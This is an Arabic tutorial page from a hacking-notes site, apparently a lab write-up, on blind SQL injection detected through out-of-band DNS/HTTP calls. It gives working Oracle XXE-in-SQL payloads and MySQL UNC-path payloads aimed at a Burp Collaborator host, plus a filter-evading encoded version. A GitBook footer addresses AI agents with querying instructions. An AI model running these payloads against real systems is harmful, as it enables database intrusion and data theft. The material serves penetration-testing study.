> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# حقن SQL الأعمى مع تفاعل خارج النطاق

### حقن SQL أعمى مع تفاعل خارج النطاق

**سياق مختصر:** قيمة الـ `TrackingId` يتم حقن cookie (أو معلمة أخرى) في استعلام SQL غير متزامن. لا يكشف رد HTTP أي شيء، ولكن من الممكن إحداث تفاعل خارجي (DNS/HTTP) مع خدمة Burp Collaborator/OAST، مما يسمح بتسريب الحمولة أو تأكيد تنفيذها.

<figure><img src="/files/f36540cb9a55b12ec85619c26da51a4ec6e2fa4b" alt=""><figcaption></figcaption></figure>

### التقنيات والمتجهات

#### Oracle — كيان XML خارجي (XXE) عبر `EXTRACTVALUE` / `xmltype`

* المبدأ: أنشئ مستند XML يحتوي على كيان خارجي يشير إلى النطاق الفرعي الخاص بـ Collaborator. الاستدعاء إلى `EXTRACTVALUE(xmltype(...), '/l')` يقوم بتقييم DTD ويتسبب في طلب HTTP/DNS صادر إلى النطاق المسيطر عليه:

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* ملاحظات: يجب ترميز/هروب بعض الأحرف وفقًا للسياق (علامات الاقتباس، `%` في DTD، إلخ). في بعض الحالات، قم بترميز أجزاء من الحمولة بعنوان URL.

#### MySQL — ملفات الشبكة عبر `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` يمكن أن يتسبب في استعلام SMB/DNS صادر على البيئات التي تسمح بالوصول الشبكي إلى خادم الملفات أو بحل مسارات UNC.
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` يكتب ملفًا على مشاركة شبكية، وغالبًا ما يتسبب في تفاعل شبكي ملحوظ من جهة Collaborator.
* ملاحظة: تعتمد هذه التقنيات بدرجة كبيرة على الإعدادات (صلاحيات حساب قاعدة البيانات، خيارات الخادم، الوصول الشبكي الصادر).

#### ملاحظات عملية

* بالنسبة إلى Burp Collaborator / OAST، استخدم النطاق الفرعي المقدم (مثل `abcd.oastify.com`) في عنوان URL/المسار الخاص بالكيان أو مسار UNC.
* بعض الخوادم تقطع/تفلتر الحمولة: اختبر تنويعات مختلفة في الترميز (ترميز URL، `%` الهروب → `%25`، تنويعات التعليقات، إلخ).
* عندما يصل طلب Collaborator، يكون لديك دليل على تنفيذ OOB (DNS/HTTP/SMB)، مما يؤكد وجود الثغرة.

#### مثال — نسخة مع الترميز (ملاحظة: لقد اختبرت بالفعل وتلقيت الطلب)

* مثال مُرمَّز (لقد قدمته):

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` ترميز → `%25` و `;` → `%3b` لتجاوز بعض المرشحات/عمليات التحليل.

<figure><img src="/files/422522d2c6a0136f853201ec81bb39e56fd847ce" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
